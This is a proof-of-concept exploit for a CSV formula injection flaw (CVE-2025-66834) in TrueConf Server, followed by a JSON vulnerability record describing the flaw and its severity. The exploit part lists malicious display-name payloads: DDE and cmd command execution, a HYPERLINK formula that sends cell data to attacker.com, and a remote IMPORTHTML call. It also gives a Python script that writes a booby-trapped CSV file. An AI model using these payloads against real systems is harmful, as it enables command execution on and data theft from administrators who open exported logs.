CVE-2025-66834

# CVE-2025-66834 PoC - TrueConf Server CSV Formula Injection # Author: Security Researcher # Date: 2025-12-30 # Step 1: Set malicious Display Name in TrueConf profile # The attacker sets their display name to include formula injection payload MALICIOUS_DISPLAY_NAME = "=cmd|'/C calc'!A0" # Spawns calculator (for testing) MALICIOUS_DISPLAY_NAME = "=HYPERLINK(\"http://attacker.com/steal?data=\"&A1,\"Click Here\")" # Data exfiltration MALICIOUS_DISPLAY_NAME = "=DDE(\"cmd\";\"/C calc\";\"A1\")" # DDE execution MALICIOUS_DISPLAY_NAME = "=IMPORTHTML(\"http://attacker.com/mal.html\",\"table\",0)" # HTML import # Step 2: Export chat logs to CSV # When admin exports chat logs, the malicious display name is included in CSV # Example of exported CSV content: # "Timestamp","User","Message" # "2025-12-30 10:00:00","=cmd|'/C calc'!A0","Hello" # Step 3: Victim opens CSV file # When victim opens the CSV in Excel, the formula executes # Example PoC - Generate malicious CSV: csv_content = '''"Timestamp","User","Message" "2025-12-30 10:00:00","=cmd|'/C calc'!A0","Test message" "2025-12-30 10:01:00","=HYPERLINK(\"http://attacker.com/steal?data=\"&A1,\"View\")","Another message"''' with open('exported_chat_logs.csv', 'w') as f: f.write(csv_content) print('[+] Malicious CSV file created: exported_chat_logs.csv') print('[+] When opened in Excel, the formulas will execute')

{"cve": {"id": "CVE-2025-66834", "sourceIdentifier": "[email protected]", "published": "2025-12-30T19:15:44.720", "lastModified": "2026-01-07T15:39:50.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A CSV Formula Injection vulnerability in TrueConf Server v5.5.2.10813 allows a normal user to inject malicious spreadsheet formulas into exported chat logs via crafted Display Name."}, {"lang": "es", "value": "Una vulnerabilidad de inyección de fórmulas CSV en TrueConf Server v5.5.2.10813 permite a un usuario normal inyectar fórmulas maliciosas de hoja de cálculo en registros de chat exportados a través de un Nombre para Mostrar manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trueconf:server:5.5.2.10813:*:*:*:*:*:*:*", "matchCriteriaId": "8059D00D-F6AA-4CA7-ADCA-32B34F21D726"}]}]}], "references": [{"url": "https://github.com/x00nullbit/CVE-References/blob/main/CVE-2025-66834/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://trueconf.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/x00nullbit/CVE-References/blob/main/CVE-2025-66834/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}